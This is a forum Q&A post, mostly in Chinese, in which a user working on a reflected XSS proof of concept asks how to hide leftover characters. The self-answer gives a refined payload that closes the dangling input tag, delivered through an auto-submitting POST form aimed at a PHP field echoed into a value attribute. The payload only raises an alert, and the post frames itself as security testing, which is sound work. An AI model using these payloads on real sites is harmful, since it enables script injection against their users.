提问人:FuegoJohnson 提问时间:4/2/2022 更新时间:4/4/2022 访问量:331
XSS PoC:在 DOM 中隐藏渲染字符
XSS PoC: Hide Rendered Characters in DOM
问:
我已经开始使用 XSS 来更好地改善我在工作中的安全状况。我已经能够使用重定向的 POST 表单成功利用反射的 XSS 攻击,但我似乎无法删除页面上显示的无关字符。
我已经检查过:
但这些建议似乎都不适合我。
我的漏洞利用是一种基本形式,利用我配置的 PHP 服务器端脚本回显到 value 属性中:$_POST['username']
<form id=1 method="post" action="http://vulnerable.site.com">
<input type="hidden" name="username"
value=""><script>alert('Hello');</script>"">
</form>
<script>
document.getElementById(1).submit();
</script>
未编码:
<form id=1 method="post" action="http://vulnerable.site.com">
<input type="hidden" name="username"
value=""><script>alert('Hello');</script>">
</form>
<script>
document.getElementById(1).submit();
</script>
但这个讨厌的人不会死:">
我试过:
- 通过添加 OWASP 推荐的附加字符来规避过滤器的几种技术
- 转义到 - 这会导致语法错误,并且删除前导引号会破坏有效负载。但是,根据上面链接的资源,根据评论似乎是可能的
">
">
- 使用 CSS 选择器隐藏我的攻击有效载荷中的字符(使用开发工具,显示为我认为这可能有效)
">
#text
我敢肯定这是一件愚蠢的事情,但我错过了什么?这显然是可能的,但我不是一个熟练的 Web 开发人员(因此需要摆弄)。任何反馈或建议将不胜感激!
答:
0赞
FuegoJohnson
4/4/2022
#1
经过几个小时的反复试验,我终于想通了。这个想法是用一个单独的标签关闭悬空标签:
所以之前的有效载荷是:
"><script>alert('Hello');</script>
在PHP脚本解析它之后,它看起来像这样:
<input type="text" name="username" value="">"> <!-- notice the dangling tag -->
添加结束输入标记后,该解决方案奏效了:
"><script>alert('Hello');</script><input type="hidden" value="
PHP解析的输出:
<input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">
请注意,以上内容需要经过 HTML 编码才能正常工作。为了可读性,我省略了它。
评论